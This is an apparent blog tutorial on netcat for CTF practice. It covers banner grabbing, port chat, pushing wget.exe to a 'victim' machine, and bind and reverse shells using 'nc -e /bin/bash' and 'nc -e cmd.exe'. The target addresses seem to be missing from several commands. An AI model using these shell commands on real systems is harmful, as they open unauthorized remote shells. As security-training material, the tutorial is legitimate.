Netcat Commands For Windows With Example

Netcat Tool in Kali Linux

imagine the following situation

You are an Ethical Hacker. while solving the CTF challenges, you want to send a file to the target machine. After lots of research, You discovered that there are no such tools exist in the target system such as curl, wget, Apache. You notice that only the Netcat tool is established in the target system. But you don’t know the working of netcat. Then, How will you send the file to another system? If you want to send such a file with the help of netcat, Don’t worry. In this blog, we will cover Netcat basic to advance commands.

What is Netcat?

Netcat is a simple networking tool that is used to read and write to TCP and UDP ports. The simplest definition of Netcat is a versatile tool that has been dubbed for hackers.

Uses of Netcat

  • How to connect TCP or UDP port
  • Listening on TCP or UDP port
  • Transferring file with Netcat
  • Remote administration with Netcat

I was solving a CTF challenge. During the scanning of Nmap, I noticed that port 80 was open in the target system. Now I want to do banner grabbing on port 80. Follow the below-given command.

nc -v 80

Connect with Google

You must have always chat through Whatsapp and Facebook. But can such a chat be done in Linux and Windows OS? Do not panic! We will develop a chat system on Windows and Linux with the help of netcat. Follow the below-given command.

  • windows : nc -nvlp 1111
  • Linux : nc -nv 1111
Listen on TCP or UDP

Now we will send the wget.exe file to Windows from Linux. As I had already mentioned, there is no wget.exe file available on the victim’s computer. Again, we will use the Netcat tool. Look at the image.

  • windows : nc -nvlp 1111 > wget.exe
  • Linux : nc -nv 1111 </usr/share/windows-resource/binaries/wget.exe
Transfering file with Netcat

Suppose! You are a Windows user and want to get a Bind shell in Kali Linux with the help of netcat. As you know, Netcat came earlier installed in Kali Linux. Therefore, we do not need to install the Netcat tool in Kali Linux. With the help of the Netcat tool, we will send the terminal of Kali Linux to Windows. As I have already mentioned, Look at the image.

  • Linux : nc -nvlp 1111 -e /bin/bash
  • Windows : nc -nv 1111
Remote Administrator: Bind Shell

You are a Linux user and want to get a Reverse shell in windows with the help of netcat. As you know, Netcat is not pre-installed in windows. Therefore, we need to install the Netcat tool in windows. I have already downloaded and installed it. With the help of the Netcat tool, we will take the Reverse Shell From Windows. Look at the image.

  • Windows : nc -nv 1111 -e cmd.exe
  • Linux : nc -nvlp 1111
Remote Administrator: Reverse Shell

If you don’t understand these blogs, I have also made a video for you. It might be better to watch this video.

Latest Posts

Add a Comment

Your email address will not be published. Required fields are marked *